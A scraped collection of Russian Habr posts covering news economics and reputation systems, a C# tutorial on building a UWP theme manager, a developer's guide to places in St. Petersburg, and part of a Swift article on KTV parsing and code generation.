Ямагиши заметил, что онлайновая торговля имеет дело с «информационной ассиметрией», которая «приводит рынок в ситуацию рынка лимонов». Это аналогично проблеме потребления новостей. Ямагиши делит репутацию на два вида: положительную и отрицательную. Он обнаружил, что открытость интернет-торговли предотвращает отрицательную репутацию и «развивает положительную репутацию, как эффективное средство для ограничения проблемы лимонов».
Важным аспектом понимания того, что отрицательная репутация неэффективна в Интернете, является легкость смены и создания нового лица. Поэтому для борбы с проблемой лимонов критическими являются методы «включения», которые обеспечивают валидацию положительной репутации.
Согласно Ямагиши, существующие газеты с положительной репутацией бренда представляют ценность в качестве гарантов положительной репутации на открытом рынке новостей в Интернете.
Новой формой существования традиционных газет может стать гибридная форма предприятия, занимающегося гарантией качества новостей и сохраняющего идеалы индустрии.
Дифференцированная цена будет оплачиваться новостным компаниям на основе качества их проверки, а не за угол подачи новостей или их сенсационность.
При такой модели газеты будут специализироваться по отраслям согласно своей экспертизе и предоставлять объективную валидацию. Для обеспечения истинной объективности влияние рекламной прибыли необходимо будет устранить. Возможно, рекламные доходы будут привязаны к поставщикам контента вместе с выплатами авторам. Посредники, которые отбирают контент на основании данных оценок качества и после валидации, будут оплачиваться только за качество их отбора.
Успешным примером работы с «кибер-лимонами» в качестве «онлайнового посредника» стал крупнейший китайский сайт C2C торговли, создавший «систему оценки доверия, ставшую посредником в оценке качества и репутации» (Pan, 2005).
Коротко говоря, несколько eBay'ев для новостей, специализирующихся в разных отраслях, помогли бы решить проблему лимонов.
Газетная индустрия должна посмотреть в лицо процессу устранения посредников в деле определения содержания передаваемых новостей. Предыдущая модель, базировавшаяся на том, что повестка дня определяется несколькими организациями, существующими за счет рекламы, была патерналистской. С уничтожением посреднического компонента обязанность определять, что заслуживает внимания людей, а что нет, падает на плечи общества. Этот вопрос должен лучше всего решаться через образование и пестование гражданских и демократических идеалов среди молодежи.
**Об авторе:** Дхрав Шарма (Dhruv Sharma) – независимый исследователь в области организационного поведения, управления рисками, искусственного интеллекта и системного инжиниринга. Выпускник McIntire School в University of Virginie, получил степень магистра системного инжиниринга и степень магистра организационного развития в Marymount University.
*Отдельная благодарность Джорджу Акерлофу за дискуссию по электронной почте о теме и направлении поисков.
Эта статья посвящается Эмме Браун, великой писательнице и журналистке, и Джорджу Акерлофу, великому экономисту.*
#### Цитировались следующие источники
* Akerlof, GA. (1970) The Market for “Lemons”: Quality Uncertainty and the Market Mechanism. The Quarterly Journal of Economics, Vol. 84, No. 3. (Aug., 1970), pp. 488-500
* Barabási, A.L. (2002) Linked: The New Science of Networks, Perseus, Cambridge
* Brunettia, Aymo & Wederb, Beatrice (2003) A free press is bad news for corruption. Journal of Public Economics 87 (2003) 1801–1824
* Hamilton, James T., (2003), All the News That’s Fit to Sell. Princeton, NJ: Princeton University Press
* Halpern,J.Y. and Moses,Y. (1984). Knowledge and common knowledge in a distributed environment. Journal of the ACM, 37(3):549–587, 1990. A preliminary version appeared in Proc. 3rd ACM Symposium on Principles of Distributed Computing
* Halpern,J.; Fagin, R; Moses,Y. and Vardi,MY (1994). Common knowledge revisited. Theoretical aspects of rationality. Proceedings 6th Conference. Retrieved from <http://www.cs.cornell.edu/home/halpern/papers/ck_revisited.pdf>
* Schleifer, A. Djankov, S., Mcliesh, C. Menova, T. (2003) WHO OWNS THE MEDIA? Journal of Law and Economics. vol. XLVI
* Shleifer, Andrei & Mullainathan, S. (2005) The Market for News. The American Economic Review
* Taleb, N.N. (2005) “THE OPIATES OF THE MIDDLE CLASSES” Retrieved from <http://www.edge.org/3rd_culture/taleb05/taleb05_index.html>
* Yamagishi, T. Masafumi, Matsusa. (2002) Improving the Lemons Market with a Reputation System: An Experimental Study of Internet Auctioning. Retrieved from <http://joi.ito.com/archives/papers/Yamagishi_ASQ1.pdf> Hokkaido University
* Wagner, Roy (2000) “Our Very Own Cargo Cult”. Oceana
========================================
По просьбе источника публикую прямую ссылку на оригинал в тексте статьи – <http://onlinejournalismblog.com/2009/12/22/internet-news-as-a-market-for-news-lemons/>
Надеюсь, администрация сайта простит мне это вынужденное отступление от правил публикации. | https://habr.com/ru/post/288784/ | null | ru | null |
# Разработка менеджера тем в UWP-приложении
Приветствую, **%username%**!
Меня зовут Роман Гладких, я студент третьего курса Сибирского Государственного Университета Телекоммуникаций и Информатики по профилю Супервычисления. Так же являюсь студентом-партнером Майкрософт. Мое давнее хобби – это разработка приложений для Windows Phone и UWP на языке C#.
По умолчанию приложения UWP поддерживают две темы: темную (Dark) и светлую (Light). Так же имеется еще высококонтрастная тема (HighContrast). Такого набора обычно хватает для любого приложения, однако, что делать, если требуется быстро менять тему приложения на лету, причем ограничиваться Light и Dark нет желания?
В данном материале я расскажу, как реализовать свой менеджер тем. Материал ориентирован на новичков, однако и профессионалам может быть интересен. Милости просим под кат!
ThemeResource
-------------
Платформа UWP поддерживает специальное расширение разметки XAML, предназначение которого заключается в ссылке на ресурсы тем, которые могут обновляться во время выполнения. Ресурсы темы представляют собой набор ресурсов, применяющих различные значения в зависимости от того, какая тема системы активна.
```
{ThemeResource ResourceName}
```
Отличие от расширения разметки {StaticResource} в том, что {ThemeResource} может динамически использовать разные словари в качестве основного места поиска в зависимости от того, какая тема используется системой в данный момент. Другими словами, анализ значений, на которые ссылается {StaticResource} происходит только один раз при запуске приложения, тогда как {ThemeResource} при запуске и при каждом изменении темы системы.
Рассмотрим пример ResourceDictionary, в котором определяются пользовательские ресурсы темы.
```
```
В родительской ResourceDictionary в секции ThemeDictionaries объявлены дочерние библиотеки, которые и являются наборами ресурсов для каждой из тем. В каждой библиотеке объявлена кисть с одним названием, но разным значением Color.
Итого, если мы будем ссылаться на нашу кисть при помощи {ThemeResource}, например, зададим прямоугольнику эту кисть как заливку, то в зависимости от выбранной в системе темы, мы получим прямоугольник белого, серого или черного цвета.
Обратите внимание, что в ресурсах темы могут лежать не только кисти, но также строки и другие объекты. Чтобы разработчик мог ознакомиться со всеми системными ресурсами темы, в Windows SDK входит XAML-файл, содержащий все ресурсы. Расположен он в C:\Program Files (x86)\Windows Kits\10\DesignTime\CommonConfiguration\Neutral\UAP\\Generic\ themeresources.xaml.
Как разработать свой менеджер тем?
----------------------------------
Взвесив все за и против, мы пришли к выводу, что хотим больше, хотим менять их на лету и не зависеть от системной темы. Как это реализовать?
Так как в платформе UWP отсутствует расширение разметки {DynamicResource}, который, к слову, имеется в WPF, довольствоваться будем обычными привязками {Binding}.
Для начала создадим проект пустого приложения UWP с имененем UwpThemeManager. Минимальной версией я установил Windows 10 Anniversary Update, целевой Windows 10 Creators Update.
В проекте создадим папку Themes, внутри два ResourceDictionary с именами Theme.Dark.xaml и Theme.Light.xaml.
В каждом файле добавим в ResourceDictionary три кисти с именами BackgroundBrush, ForegroundBrush и ChromeBrush. Содержимое этих файлов доступно под спойлерами.
**Theme.Dark.xaml**
```
```
**Theme.Light.xaml**
```
```
Теперь нам потребуется специальный класс, который будет загружать ресурсы наших тем и уведомлять все Binding об изменении ссылок на кисти. Создадим запечатанный (sealed) класс ThemeManager, реализующий интерфейс **INotifyPropertyChanged**.
**Реализация INotifyPropertyChanged**
```
public sealed class ThemeManager : INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
private void OnPropertyChanged(string propertyName)
=> PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
}
```
Обязательно добавим в класс публичные строковые константы с путем до наших словарей с темами.
```
public const string DarkThemePath = "ms-appx:///Themes/Theme.Dark.xaml";
public const string LightThemePath = "ms-appx:///Themes/Theme.Light.xaml";
```
В код нашего класса добавим приватное поле типа ResourceDictionary – это будет словарь с текущими значениями темы.
```
private ResourceDictionary _currentThemeDictionary;
```
Далее требуется добавить в класс ThemeManager свойства типа Brush, чтобы не допускать ошибок при биндинге из XAML, и работали подсказки от Visual Studio. Во избежание путаницы, назовем свойства точно так же, как кисти названы в словарях тем. Так же для нашего удобства добавим строковое свойство CurrentTheme, которое будет возвращать имя текущей темы.
```
public string CurrentTheme { get; private set; }
public Brush BackgroundBrush => _currentThemeDictionary[nameof(BackgroundBrush)] as Brush;
public Brush ChromeBrush => _currentThemeDictionary[nameof(ChromeBrush)] as Brush;
public Brush ForegroundBrush => _currentThemeDictionary[nameof(ForegroundBrush)] as Brush;
```
Чтобы при смене темы все привязки {Binding} узнали о том, что ссылки на кисти поменялись, нужно вызвать событие PropertyChanged для каждого из свойств. Создадим для этого специальный приватный метод.
Чтобы не допустить ошибки в названиях свойств, используем ключевое слово nameof, вызов которого при компиляции преобразуется в строковую константу с именем указанного элемента.
```
private void RaisePropertyChanged()
{
OnPropertyChanged(nameof(BackgroundBrush));
OnPropertyChanged(nameof(ChromeBrush));
OnPropertyChanged(nameof(ForegroundBrush));
OnPropertyChanged(nameof(CurrentTheme));
}
```
Теперь встает вопрос о загрузке словарей с темами. Создадим два метода: LoadTheme и LoadThemeFromFile. Первый метод загружает словарь с темой, расположенный в пакете приложения (для этого выше мы задали константы DarkThemePath и LightThemePath). Второй метод загружает тему из любого файла (принимает на вход StorageFile), не обязательно из пакета приложения.
Реализация методов занимает несколько строк.
```
public void LoadTheme(string path)
{
_currentThemeDictionary = new ResourceDictionary();
App.LoadComponent(_currentThemeDictionary, new Uri(path));
CurrentTheme = Path.GetFileNameWithoutExtension(path);
RaisePropertyChanged();
}
public async Task LoadThemeFromFile(StorageFile file)
{
string xaml = await FileIO.ReadTextAsync(file);
_currentThemeDictionary = XamlReader.Load(xaml) as ResourceDictionary;
CurrentTheme = Path.GetFileNameWithoutExtension(file.Path);
RaisePropertyChanged();
}
```
ThemeManager почти готов, осталось лишь добавить в конструктор вызов метода загрузки темной темы (она будет по умолчанию).
```
public ThemeManager()
{
LoadTheme(DarkThemePath);
}
```
Все готово! Осталось объявить экземпляр нашего класса в App.xaml в секции ресурсов приложения и добавить статическую ссылку На этот экземпляр в App.xaml.cs.
```
```
```
public static ThemeManager ThemeManager
=> (ThemeManager)App.Current.Resources["ThemeManager"];
```
Полный код ThemeManager.cs представлен под спойлером.
**ThemeManager.cs**
```
using System;
using System.ComponentModel;
using System.IO;
using System.Threading.Tasks;
using Windows.Storage;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Markup;
using Windows.UI.Xaml.Media;
namespace UwpThemeManager
{
public sealed class ThemeManager : INotifyPropertyChanged
{
public const string DarkThemePath = "ms-appx:///Themes/Theme.Dark.xaml";
public const string LightThemePath = "ms-appx:///Themes/Theme.Light.xaml";
public event PropertyChangedEventHandler PropertyChanged;
public ThemeManager()
{
LoadTheme(DarkThemePath);
}
public string CurrentTheme { get; private set; }
public Brush BackgroundBrush => _currentThemeDictionary[nameof(BackgroundBrush)] as Brush;
public Brush ChromeBrush => _currentThemeDictionary[nameof(ChromeBrush)] as Brush;
public Brush ForegroundBrush => _currentThemeDictionary[nameof(ForegroundBrush)] as Brush;
public void LoadTheme(string path)
{
_currentThemeDictionary = new ResourceDictionary();
App.LoadComponent(_currentThemeDictionary, new Uri(path));
CurrentTheme = Path.GetFileNameWithoutExtension(path);
RaisePropertyChanged();
}
public async Task LoadThemeFromFile(StorageFile file)
{
string xaml = await FileIO.ReadTextAsync(file);
_currentThemeDictionary = XamlReader.Load(xaml) as ResourceDictionary;
CurrentTheme = Path.GetFileNameWithoutExtension(file.Path);
RaisePropertyChanged();
}
private void RaisePropertyChanged()
{
OnPropertyChanged(nameof(BackgroundBrush));
OnPropertyChanged(nameof(ChromeBrush));
OnPropertyChanged(nameof(ForegroundBrush));
OnPropertyChanged(nameof(CurrentTheme));
}
private void OnPropertyChanged(string propertyName)
=> PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
private ResourceDictionary _currentThemeDictionary;
}
}
```
Использование менеджера тем
---------------------------
Так как мы выполнили все необходимые приготовления, использование ThemeManager будет очень простым. Рассмотрим небольшой пример.
```
```
В данном примере мы объявили элемент Rectangle (прямоугольник), у которого свойство Fill (заливка) привязали к свойству BackgroundBrush из ThemeManager, расположенного в ресурсах приложения.
Создадим простую страницу MainPage (в новом проекте уже имеется). Итоговая страница будет так:
Задайте для кнопок и других элементов управления необходимые привязки к нашим кистям. В обработчиках события клика для кнопок выполним загрузку других тем.
```
private void DarkThemeButton_Click(object sender, RoutedEventArgs e)
=> App.ThemeManager.LoadTheme(ThemeManager.DarkThemePath);
private void LightThemeButton_Click(object sender, RoutedEventArgs e)
=> App.ThemeManager.LoadTheme(ThemeManager.LightThemePath);
private async void CustomThemeButton_Click(object sender, RoutedEventArgs e)
{
var picker = new FileOpenPicker();
picker.FileTypeFilter.Add(".xaml");
var file = await picker.PickSingleFileAsync();
if (file != null)
{
try
{
await App.ThemeManager.LoadThemeFromFile(file);
}
catch (Exception ex)
{
var msg = new MessageDialog(ex.ToString(), "Ошибка");
await msg.ShowAsync();
}
}
}
```
Для первых двух кнопок мы вызывает метод **LoadTheme** в **ThemeManager** с указанием константы с путем до файла XAML с темой. Последний обработчик события (у кнопки с текстом Custom theme) создает окно выбора файла, указывает фильтр по типу .xaml и показывает пользователю стандартное окно выбора файла. Если пользователь выбрал файл, то он передается в метод LoadThemeFromFile, который мы реализовали в ThemeManager.
Для тестирования, создайте третий файл темы, и разместите его, например, на рабочем столе. Мой вариант:
**Theme.Red.xaml**
```
```
Скомпилируйте и запустите приложение. При нажатии на кнопки Dark theme и Light theme, цветовое оформление приложения будет автоматически меняться. Нажмите на кнопку Custom theme, затем откройте файл Theme.Red.xaml. Цветовое оформление приложения станет красным.
**Скриншоты приложения**
Полный исходный код разметки страницы под спойлером.
**MainPage.xaml - версия 1**
```
```
Подводные камни
---------------
Если задавать значения Background, Foreground и т.д. у самих элементов, то все будет работать, однако мы не можем задать {Binding} в стилях элементов управления. В UWP привязки в Style не поддерживаются. Как же это обойти? Нам поможет Attached DependencyProperty!
> Attached Property. Это Dependency Property, которое объявлено не в классе объекта, для которого оно будет использоваться, но ведет себя, как будто является его частью. Объявляется в отдельном классе, имеет getter и setter в виде статических методов. Можно добавить обработчик на событие PropertyChanged.
Подробнее про Attached property вы можете узнать немного подробнее в статье [AndyD](https://habrahabr.ru/users/andyd/): [WPF: использование Attached Property и Behavior](https://habrahabr.ru/post/254887/)
Реализуем Attached property для свойств Background и Foreground. Это будут статические классы с именем BackgroundBindingHelper и ForegroundBindingHelper. Объявим статические методы GetBackground (возвращает string) и SetBackground, а также DependencyProperty с типом значения string.
> В Visual Studio имеется специальная заготовка (code snippet) для Attached Dependency Property, которая доступна, если ввести propa и нажать Tab.
Так же добавим приватный метод-обработчик BackgroundPathPropertyChanged, который будет обновлять Binding при изменении значения Background.
ForegroundBindingHelper реализуется аналогичным образом.
**BackgroundBindingHelper**
```
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Data;
namespace UwpThemeManager.BindingHelpers
{
public static class BackgroundBindingHelper
{
public static string GetBackground(DependencyObject obj)
=> (string)obj.GetValue(BackgroundProperty);
public static void SetBackground(DependencyObject obj, string value)
=> obj.SetValue(BackgroundProperty, value);
public static readonly DependencyProperty BackgroundProperty =
DependencyProperty.RegisterAttached("Background", typeof(string), typeof(BackgroundBindingHelper),
new PropertyMetadata(null, BackgroundPathPropertyChanged));
private static void BackgroundPathPropertyChanged(DependencyObject obj, DependencyPropertyChangedEventArgs e)
{
var propertyPath = e.NewValue as string;
if (propertyPath != null)
{
var backgroundproperty = Control.BackgroundProperty;
BindingOperations.SetBinding(obj, backgroundproperty, new Binding
{
Path = new PropertyPath(propertyPath),
Source = App.ThemeManager
});
}
}
}
}
```
**ForegroundBindingHelper**
```
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Data;
namespace UwpThemeManager.BindingHelpers
{
public static class ForegroundBindingHelper
{
public static string GetForeground(DependencyObject obj)
=> (string)obj.GetValue(ForegroundProperty);
public static void SetForeground(DependencyObject obj, string value)
=> obj.SetValue(ForegroundProperty, value);
public static readonly DependencyProperty ForegroundProperty =
DependencyProperty.RegisterAttached("Foreground", typeof(string),
typeof(ForegroundBindingHelper), new PropertyMetadata(null, ForegroundPathPropertyChanged));
private static void ForegroundPathPropertyChanged(DependencyObject obj, DependencyPropertyChangedEventArgs e)
{
var propertyPath = e.NewValue as string;
if (propertyPath != null)
{
var backgroundproperty = Control.ForegroundProperty;
BindingOperations.SetBinding(obj, backgroundproperty, new Binding
{
Path = new PropertyPath(propertyPath),
Source = App.ThemeManager
});
}
}
}
}
```
Отлично! Теперь мы можем биндиться к нашим кистям даже в стилях. Для примера создадим стиль для кнопок на нашей странице.
```
<Setter Property="binding:BackgroundBindingHelper.Background"
Value="ChromeBrush" />
<Setter Property="binding:ForegroundBindingHelper.Foreground"
Value="ForegroundBrush" />
<Setter Property="Margin"
Value="0,12,0,0" />
<Setter Property="HorizontalAlignment"
Value="Stretch"/>
```
В Setter.Property указано имя класса, которое предоставляет AttachedProperty. В Value указано имя свойства с кистью из ThemeManager.
Задайте этот стиль кнопкам на странице, и все будет работать так же хорошо, как и при прямом указании Background и Foreground элементам. Итоговый исходный код разметки под спойлером.
**MainPage.xaml - версия 2**
```
<Setter Property="binding:BackgroundBindingHelper.Background"
Value="ChromeBrush" />
<Setter Property="binding:ForegroundBindingHelper.Foreground"
Value="ForegroundBrush" />
<Setter Property="Margin"
Value="0,12,0,0" />
<Setter Property="HorizontalAlignment"
Value="Stretch"/>
```
Подведем итоги
--------------
Путем нехитрых манипуляций мы реализовали свой собственный менеджер тем, который не зависит от системной, и может работать с любым количеством тем, в том числе подгружать сторонние.
Полный исходный код проекта доступен на GitHub: [ссылка](https://github.com/RomanGL/UWP-Theme-Manager).
Надеюсь, статья вам понравилась. Если нашли какую-либо неточность или ошибку, не стесняйтесь написать мне в личные сообщения.
До встречи на просторах Хабрахабра! | https://habr.com/ru/post/336054/ | null | ru | null |
# Питер глазами разработчика. Петроградская сторона
#### В прошлом году 2ГИС открыл новый офис разработки в Санкт-Петербурге — он расположился в доме Пеля на Литейном проспекте. Чтобы поскорее познакомиться с новым городом и при этом избежать экскурсий и ряженых царей и императриц, будем встречаться с интересными людьми из мира IT: ездить к ним в гости, гулять по городу и смотреть на него их глазами.
Первым любимыми местами в Питере поделился фронтенд-разработчик Андрей Мелихов — ведущий ютуб-канала [«Девшахта»](https://www.youtube.com/channel/UCTSVfbCKN3nZbogPtOCHcMg) и участник подкаста [«Веб-стандарты»](https://web-standards.ru/podcast/). Андрей рассказал, куда идти за вкусными пирожными, как «Девушка с веслом» помогла ему попасть в Яндекс и показал, где на Петроградке окунуться в атмосферу IT.
Дисклеймер`Мы придумали название «Айтицкий Петербург» прошлой осенью — и оно нам показалось очень клёвым (ну, знаете, «Бандитский Петербург» и всё такое). Но когда начали монтировать третий ролик — поняли, что хочется чего-то получше. Или нет. В общем, напишите в комментариях, нравится ли такое название, или предложите что-нибудь своё. Автору лучшего пришлём крутой подарок.`
### Где выпить кофе
> — Когда я приехал в Петербург, здесь ещё не было такой культуры кофе, — и мы радовались, когда находили место, где хотя бы стоит хорошая кофемашина. А теперь у нас загон по зёрнам: у всех есть фильтры, воронки, кофемолки — у меня вообще две: ручная и механическая.
>
>
[**ТЧК**](https://go.2gis.com/zhztj). Сюда стоит прийти хотя бы для того, чтобы выпить кофе на капоте «Жигулей»: сама кофейня настолько крошечная, что три человека внутри уже образуют толпу. Андрей советует попробовать здесь канеле — маленькую французскую булочку.
[**Verlé**](https://go.2gis.com/nnfmw). Здесь можно спокойно поработать с ноутбуком и полюбоваться видом на сквер имени поэта Низами.
### Где поработать
**Коворкинг** [**«Ясная Поляна»**](https://go.2gis.com/x0ex8w). Помимо опенспейсов, на трёх этажах коворкинга много небольших и средних комнат для команд. У каждой — собственный дизайн и интересные артефакты вроде росписей и арт-объектов. Здесь же можно пообедать — кроме кафе в здании есть пиццерия с настоящей печью: дрова для неё рубят во внутреннем дворике, который видно из окон.
> — Когда я говорил, что у нас офис в «Ясной Поляне», мне некоторые такие: «Ничего себе, вы богатые!». А потом я понял, что они путают «Ясную Поляну» с Красной Поляной.
>
>
[**HTML Academy**](https://go.2gis.com/74kdem). Эта компания на слуху у всех, кто занимается фронтендом — здесь преподают профессиональные курсы по вёрстке и программированию, которые готовят к началу карьеры в IT. А ещё здесь красивые виды: справа — [Лахта Центр](https://go.2gis.com/si4sqm), слева — [Ботанический сад](https://go.2gis.com/gc248).
### Куда сходить вечером
> — Петроградка мне всегда нравилась тем, что здесь улицы не такие ровные, как в центре, и поэтому тут легко блуждать — куда-то свернул и вышел туда, куда не знаешь.
>
>
[**Бар «Восемь»**](https://go.2gis.com/yp5ij). Этот бар, по воспоминаниям Андрея, был одним из первых мест, где стали собираться люди из находящихся по соседству офисов IT-компаний. Также здесь собирались ребята после митапов [Burning Lead Meetup](https://www.meetup.com/ru-RU/Burning-Lead-Meetup/).
[**Комплекс ЛенПолиграфМаш**](https://go.2gis.com/25hchl). Он стал новым центром IT-тусовки на Петроградке. Коворкинги, офисы компаний «Рексофт» и HTML Academy, а также площадки для митапов — всё это постепенно делает старые заводские корпуса новым местом силы для сообщества.
### Что ещё посмотреть на Петроградке
> — «Женщина с веслом» — я через неё попал в Яндекс. Я сидел рядом с ней, и мимо идёт знакомый, говорит: «Слушай, я тут на Хабре прочитал, что будет школа XSLT в Яндекс.Деньгах, хочешь?». Я такой: «Ну хочу». Пришёл, а нас всех после школы позвали работать. Я бы не встретил этого человека, если бы в этот день не сидел возле «Женщины с веслом».
>
>
* [**Дом трёх Бенуа**](https://go.2gis.com/h6ody)— дореволюционный жилой комплекс с красивым внутренним двориком, в который можно зайти. А в соседних дворах можно полюбоваться граффити.
* [**Памятник «Женщинам, защитившим Ленинград»**](https://go.2gis.com/nbuea) — они тушили на крышах зажигательные бобмы, которые сбрасывали фашисты во время блокады.
* [**Набережная Карповки**](https://go.2gis.com/vhapn) — небольшое общественное пространство, где хорошо погулять во время перерыва. Летом HTML Academy проводит здесь one-to-one обсуждения.
Таким видит Петроградку Андрей Мелихов. Поделитесь своим взглядом на Питер — делитесь любимыми и неочевидными местами города в комментариях. Интересно же! | https://habr.com/ru/post/648261/ | null | ru | null |
# KTV. Грабли на пути к маршалингу
Я [писал про KTV](https://habrahabr.ru/post/278763/), но одно дело — придумать что-то непонятное, другое — попробовать это использовать. Помимо [стилевой системы S2](https://habrahabr.ru/post/278787/) я планирую использовать KTV для работы с сервером вместо JSON. Планов завоевать мир у меня нет, но разобраться, удобнее получилось или нет, хочется. Для того, чтобы общаться было легко, нужно уметь парсить объекты из ktv-файлов, и сериализовывать обратно в них же.
Swift, для которого я это пишу, в настоящий момент (Swift 2.x), не предназначен для динамического парсинга совсем, никак, вообще. Поэтому пришлось придумать что-то немного странное и нестандартное. После чего это странное и нестандартное нужно было реализовать.
В процессе было наступлено на бесчисленное количество граблей, про которые я и расскажу. Возможно, кто-то посмеётся над несмышлёным мной, может, кому-то они помогут избежать аналогичных вещей — не знаю. Мне было разбираться полезно.
Если кто видит, как можно проще или лучше решить указанные задачи, пишите. С удовольствием узнаю ещё варианты, так как все, что перечислены ниже, в той или иной степени — костыли. Вдруг есть что-то более приятное.
Как бы получить структуру объекта?
----------------------------------
Первая задача, которая возникает, если мы хотим преобразовать то, что пришло по сети, в родной объект (в моём случае языка Swift) — это разобраться со структурой объекта. Вспомнив опыт Java (где на каждый чих уже написано уже двести библиотек), я разобрал несколько способов.
#### Интроспекция объектов языка
Рефлекшн, рантайм или хоть что-то похожее. В Swift'е есть два направления, которые развиваются в эту сторону:
* [Класс Mirror](http://appventure.me/2015/10/24/swift-reflection-api-what-you-can-do/). Это штука, которой пользуется отладчик или Playgrounds для отображения информации об объектах. Соответственно, и информация та, что им нужна: тип, имя поля, значение, дженерик. Параметров доступа (private/public) нет, аннотаций нет, и сам метод определён не для всех объектов.
* [функция reflect](http://nshipster.com/mirrortype/), которая возвращает ровно те же данные немножко в другом формате.
Скорее всего, оба эти метода сходятся где-то в один, поэтому и результат похожий. Этот способ самый «крутой», если можно им пользоваться. Увы, она сейчас работает только для чтения, записи никакой нет ни в каком виде. Ждём расширения «зеркал», переходим к следующему способу.
#### Парсинг исходного кода. SourceKit
Следующий способ — парсить самому исходники, в которых, очевидно, указано всё, что можно. Это было бы крайне непросто, если бы Apple не предоставил SourceKit. Что такое SourceKit? Это фреймворк (sourcekitd.framework), который умеет выполнять запросы вида «пропарси, пожалуйста, этот файл, и расскажи, что ты там видишь, в виде синтаксического дерева (AST, Abstract Syntax Tree)». Крайне полезно, что SourceKit ещё и умеет парсить документацию к элементам языка, а не только идентификаторы и типы.
Кроме самого фреймворка, на Гитхабе живёт [SourceKitten](https://github.com/jpsim/SourceKitten), который предоставляет интерфейс на Swift к sourcekitd.framework. Использовать его очень просто:
```
let sourceKitFile = File(path:classFileName) // получаем файл
let structure = Structure(file:sourceKitFile!).dictionary // вытаскиваем AST
```
Правда, чтобы подключить и sourcekitd.framework и SourceKitten, пришлось постраться. Получилось как-то так:
* скачать, подключить исходниками SourceKitten
* не забыть зависимость, SWXMLHash.swift
* подключить sourcekitd.framework и libclang.dylyb
* написать Bridging-Header, в который включить необходимые заголовки:
```
#import "Index.h"
#import "Documentation.h"
#import "CXCompilationDatabase.h"
#import "sourcekitd.h"
```
После этого будут работать строки выше. После получения AST, работа состоит лишь в том, чтобы правильно его интерпретировать (для этого я написал класс и структуру с разными полями и запускал, проверял, что мне выдаст SourceKit. Удалось вытащить и типы объектов (правда, только если они прописаны явно, type inferrence не поддерживается), и модификаторы доступа, и понять, где константы, где нет. И дженерики забрать у обычных и ассоциативных массивов.
Кроме этого, SourceKit также выдаёт документацию к элементу кода. Тут, правда, тоже не без граблей:
* почему-то у меня `Structure(file:String)` не показывает документацию (а внутри структуры с документацией недостаёт типов), чтобы её увидеть, нужно выполнить другую команду:
let structureWithDocs = SwiftDocs(file:sourceKitFile!, arguments:[classFileName])?.docsDictionary
* поведение не очень детерминировано. Например, если в комментарии прописать `@name`, то он пропадает из AST. Может, есть и ещё какие-то секретные слова, не знаю.
Хорошо, получили структуру, что делать дальше?
Работа со структурой
--------------------
Работать со структурой можно тремя способами:
* сгенерировать код на этапе компиляции, который будет заниматься маршалингом объектов.
* написать общий код, который (обычно опять же при помощи рефлекшна или другого способа интроспекции) прямо в процессе исполнения проставляет нужные значения в поля объектов и забирает их, производя формат для передачи.
* генерировать код маршалинга прямо в процессе исполнения.
Второй способ отпадает потому, что зеркала в Swift не умеют записывать ничего в объекты. Третий способ очень крутой, но с ним вообще без шансов (в отличие от Java, где байткод можно генерировать на лету), остаётся только первый. То есть нам по структуре нужно создать методы, которые будут получать на вход KTV или JSON, выдавая нужный, заполненный объект, или наоборот, из объекта получать текст в форматах KTV или JSON.
Генерировать код нужно не абы-как (просто взял и присвоил полям значения):
* нужно работать со всевозможными проверками (учитывая Optional-типы, например),
* уметь работать с вложенными объектами (иерархиями классов)
* иметь возможность настройки (хотя бы примаппить пропертю на поле с другим именем)
* иметь возможность кастомных парсеров/сериализаторов (например, если попадётся дата в нестандартном формате)
* уметь генерировать код, который доступен из Objective-C, а не только из Swift.
Задач много, и чтобы их все решить, пришлось серьёзно заморочиться.
#### Этап 1. Просто присваивания
Перед разбором кода поглядим, что, собственно, делаем. У нас есть модельный класс, который должен создать кучу модельных объектов, используя данные из KTV-файла. На схеме представлены участники. Схему по мере работы немного усложним.
Как это сделать в простейшем случае? Начнем с того, что научимся вытаскивать данные из KTV-объекта. Прочитать файл — мы уже прочитали и сохранили в KTV-объект, который по структуре немного похож на тот ассоциативный массив, который возвращает `NSJSONSerialization`.
Итак, нужно написать функцию (или функции), которые бы вытаскивали по ключу значение из KTV, после чего присваивали его проперте. Единственная сложность получилась в том, что значения бывают Optional, и типов много разных. Разберем по шагам.
Сначала напишем метод, который вытаскивает по произвольному ключу KTV-значение. При этом резолвятся ссылки, учитываются миксины. У меня получилось что-то такое. Я использую этот метод ещё и для того, чтобы получить текст ссылки в S2, поэтому возвращаем tuple.
```
private func valueAndReferenceForKey(key:String, resolveReferences:Bool = true)
throws -> (value:KTVValue?, reference:String?) {
var result:KTVValue? = properties[key]
var reference:String? = nil
if let result_ = result {
switch result_ {
case .reference(let link):
if resolveReferences || link.hasPrefix("~") {
result = try findObjectByReference(link)
} else {
result = nil
reference = link
.stringByReplacingOccurrencesOfString("@", withString:"")
}
default:
break
}
}
return (result, reference)
}
```
После чего я подумал, что стоит написать генерализованный метод, который я смогу вызвать для получения значений разных типов.
```
private func specificValueForKey(key:String, defaultValue:T?,
resolveReferences:Bool, valueResolver:(value:KTVValue) throws -> T?)
throws -> (value:T?, reference:String?) {
let (resultValue, reference) = try valueAndReferenceForKey(key,
resolveReferences:resolveReferences)
var result = defaultValue
if let result\_ = resultValue {
result = try valueResolver(value:result\_)
}
return (result, reference)
}
```
Здесь единственная интересная часть — резолвер, который умеет по KTV-значению получать значение конкретного типа. Когда такой метод написан, можно либо пользоваться им напрямую, либо написать несколько оберток для стандартных типов, чтобы было удобнее пользоваться.
```
public func string(key key:String, defaultValue:String? = "")
throws -> String? {
return try specificValueForKey(key, defaultValue:defaultValue,
resolveReferences:true, valueResolver:KTVValue.stringResolver).value
}
```
Еще один генерализованный метод я использую, чтобы единообразно работать с Optional-типами.
```
private func deoptionizeValue(value:T?, defaultValue:T) -> T {
if let value\_ = value {
return value\_
} else {
return defaultValue
}
}
```
В результате парсер состоит из очень простых блоков, каждый из которых посвящен одной проперте.
```
stringProperty = deoptionizeValue(value:string(key:"key"), defaultValue:"")
```
С объектами приходится разбираться чуть менее удобно, но с точки зрения хитростей, вполне очевидно. У меня получилось как-то так:
```
if let object_ = getGeneralObject(name:"object", ktv:ktv) {
object = ChildObject(ktvLenient:object_)
} else {
object = nil
}
```
